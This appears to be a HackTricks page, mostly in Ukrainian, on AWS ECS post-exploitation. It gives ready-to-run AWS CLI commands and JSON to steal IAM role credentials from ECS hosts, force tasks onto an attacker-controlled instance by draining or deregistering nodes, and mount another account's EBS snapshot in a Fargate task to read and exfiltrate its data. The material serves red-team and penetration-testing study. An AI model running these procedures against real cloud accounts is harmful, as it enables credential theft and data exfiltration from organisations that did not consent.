AWS - ECS Post Exploitation

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

ECS

For more information check:

AWS - ECS Enum

Host IAM Roles

В ECS до задачі може бути призначена IAM role, яка працює всередині контейнера. Якщо задача запускається всередині EC2 instance, до EC2 instance буде прикріплена інша IAM роль.
Це означає, що якщо вам вдасться скомпрометувати ECS instance, ви потенційно можете отримати IAM роль, пов'язану з ECR та EC2 instance. Для додаткової інформації про те, як отримати ці облікові дані, дивіться:

Cloud SSRF - HackTricks

caution

Зверніть увагу, що якщо EC2 instance примусово використовує IMDSv2, згідно з документацією, response of the PUT request матиме hop limit of 1, через що буде неможливо отримати доступ до EC2 metadata з контейнера, що працює всередині EC2 instance.

Privesc на ноду, щоб вкрасти creds & secrets інших контейнерів

Крім того, EC2 використовує docker для запуску ECS tasks, тому якщо ви зможете втекти на ноду або отримати доступ до docker socket, ви зможете перевірити, які інші контейнери запущені, і навіть зайти в них та вкрасти прикріплені до них IAM roles.

Запуск контейнерів на поточному хості

Крім того, EC2 instance role зазвичай має достатньо permissions, щоб оновити container instance state EC2 інстансів, які використовуються як вузли в кластері. Атакуючий може змінити state of an instance to DRAINING, після чого ECS видалить усі tasks з нього, а ті, що виконуються як REPLICA, будуть запущені на іншому instance, потенційно на attackers instance, щоб він міг вкрасти їх IAM roles та потенційно конфіденційну інформацію всередині контейнера.

bash
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

Ту саму техніку можна застосувати, скасувавши реєстрацію EC2 інстансу з кластера. Це потенційно менш приховано, але це змусить tasks запускатися на інших інстансах:

bash
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Остання техніка, щоб примусити повторне виконання tasks, — повідомити ECS, що task або container було зупинено. Існують 3 потенційні API для цього:

bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Steal sensitive info from ECR containers

The EC2 instance will probably also have the permission ecr:GetAuthorizationToken allowing it to завантажувати образи (ви можете шукати в них конфіденційну інформацію).

Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

Зловживайте нативною ECS EBS інтеграцією (2024+), щоб змонтувати вміст існуючого EBS snapshot безпосередньо в новому ECS task/service і прочитати його дані зсередини контейнера.

  • Потрібно (мінімум):

  • ecs:RegisterTaskDefinition

  • Один із: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole на:

  • ECS infrastructure role, що використовується для томів (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task ролі, зазначені в task definition

  • Якщо snapshot зашифровано CMK: KMS дозволи для інфраструктурної ролі (вказана вище AWS managed policy включає необхідні KMS права для AWS managed keys).

  • Impact: Читання довільного вмісту диска зі snapshot (наприклад, файли баз даних) всередині контейнера та ексфільтрація через мережу/логи.

Steps (Fargate example):

  1. Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
bash
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. Зареєструйте task definition з volume, позначеним configuredAtLaunch, і змонтуйте його в container. Приклад (prints the secret then sleeps):
json
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. Створіть або оновіть сервіс, передавши EBS snapshot через volumeConfigurations.managedEBSVolume (потребує iam:PassRole для ролі інфраструктури). Приклад:
json
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. Коли завдання запускається, контейнер може прочитати вміст snapshot за налаштованим шляхом монтування (наприклад, /loot). Exfiltrate через мережу/логи завдання.

Очищення:

bash
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks